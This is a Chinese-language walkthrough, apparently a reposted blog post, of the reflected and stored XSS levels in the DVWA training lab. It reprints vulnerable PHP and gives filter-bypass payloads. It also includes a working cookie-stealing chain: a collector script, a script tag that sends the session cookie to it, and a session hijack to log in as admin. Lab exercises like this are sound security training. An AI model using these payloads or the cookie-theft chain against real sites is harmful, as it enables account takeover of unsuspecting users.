DVWA——XSS(跨站腳本攻擊)


XSS概念:

XSS攻擊全稱跨站腳本攻擊,XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。比如這些代碼包括HTML代碼和客戶端腳本。

XSS有三種:

反射型XSS:只是簡單地把用戶輸入的數據反射給瀏覽器,簡單來說,黑客往往需要用戶誘使用戶點擊一個惡意鏈接,才能攻擊成功。

存儲型XSS:將用戶輸入的數據存儲在服務器端。

DOM XSS:通過修改頁面的DOM節點形成的XSS。(可能是存儲型也可能使反射型)

 

反射型XSS:

 

Low級:

<?php 

// Is there any input? 

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 

    // Feedback for end user 

    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 

} 

?>

我們可以看到,代碼直接引用了name參數,並沒有任何的過濾與檢查,存在明顯的XSS漏洞。

所以我們構造payload語句:<script>alert(/111/)</script>,可以看到直接就執行了我們的js代碼。

 

在www目錄下創建一個cookie.php文件,內容如下:

<?php
$cookie
=$_GET['cookie'];//將get請求參數存儲到cookie變量中 file_put_contents('cookie.txt',$cookie);//把偷取的用戶cookie寫到cookie.txt文件中
?>

編寫js代碼將頁面的cookie發送到cookie.php中:<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>#

構造並發送攻擊URL:http://192.168.35.132/DVWA-master/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>

后面的參數要進行URL編碼,

頁面發生跳轉后,我們發現在WWW目錄下多了個 cookie文件,打開發現成功拿到了cookie。。

 

接下來我們可以利用得到的cookie登錄DVWA的首頁:

F12調出cookie右鍵點擊編輯把PHPSESSEN換成我們獲取的。然后訪問DVWA的index.php,就可以直接以管理員的身份進去了

 

Medium級:

 

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
?>

可以看到,這里對輸入進行了過濾,基於黑名單的思想,使用str_replace函數將輸入中的<script>刪除,這種防護機制是可以被輕松繞過的。

1.雙寫繞過。輸入<sc<script>ript>alert(/111/)</script>,成功彈框:

 

2.大小寫繞過。輸入<ScRipt>alert(/121/)</script>,成功彈框:

 

出現彈框說明存在xss,然后利用js代碼獲取cookie,成功拿到cookie后,再進行登錄操作。

 

 

 

 High級:

 

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
?>

這一關我們可以看到雙寫繞過、大小寫混淆繞過不再有效。

 

 

 雖然無法使用<script>標簽注入XSS代碼,但是可以通過imgbody等標簽的事件或者iframe等標簽的src注入惡意的js代碼。

輸入<img src=1 onerror=alert(/147/)>,成功彈框:

 

還可以輸入:Iframe:<iframe onload=alert(1)>,成功彈框-

 

然后就是和上面一樣的操作,不在贅述。

 

存儲型XSS:

 

 Low級:

 

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    // Sanitize name input 
    $name = mysql_real_escape_string( $name ); 
    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); 
} 
?>

可以看到,對輸入並沒有做XSS方面的過濾與檢查,直接將用戶提交的內容插入數據庫,輸入點在兩個輸入框都有,但是后面的幾種難度都對Message域的輸入內容進行了htmlspecialchars轉義,

此這里存在明顯的存儲型XSS漏洞。

 

這里我們可以發現 name處支持輸入的字符串長度有限,無法隨意輸入,是由於前端代碼作了限制,如下:

我們只需要把maxlength的10修改一下就可以了。(火狐瀏覽器按F12就會出來前端代碼,雙擊就可以修改)

 

 

 

 

構造如下js代碼,成功彈框:

<script>alert(/xss/)</script>

 

 

 

 

 

 

 

Medium級:

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = strip_tags( addslashes( $message ) ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 
    // Sanitize name input 
    $name = str_replace( '<script>', '', $name ); 
    $name = mysql_real_escape_string( $name ); 
    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); 
} 
?>

這一關和上面的反射型情況一樣,也是可以用雙寫繞過:<sc<script>ript>alert(/xss/)</script>

上面因為name輸入字符長度問題我們改的網頁參數,這里我們用brup抓包的方式來做:

 

 

 

 

 

或者大小寫混合繞過:<Script>alert(/xss/)</script>  這樣都可以,和上面一樣。

 

 

High級:

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
$message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>

可以看到,這里使用正則表達式過濾了<script>標簽,但是卻忽略了img、iframe等其它危險的標簽,因此name參數依舊存在存儲型XSS。

我們這里可以抓包改name參數為<img src=1 onerror=alert(1)>:

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM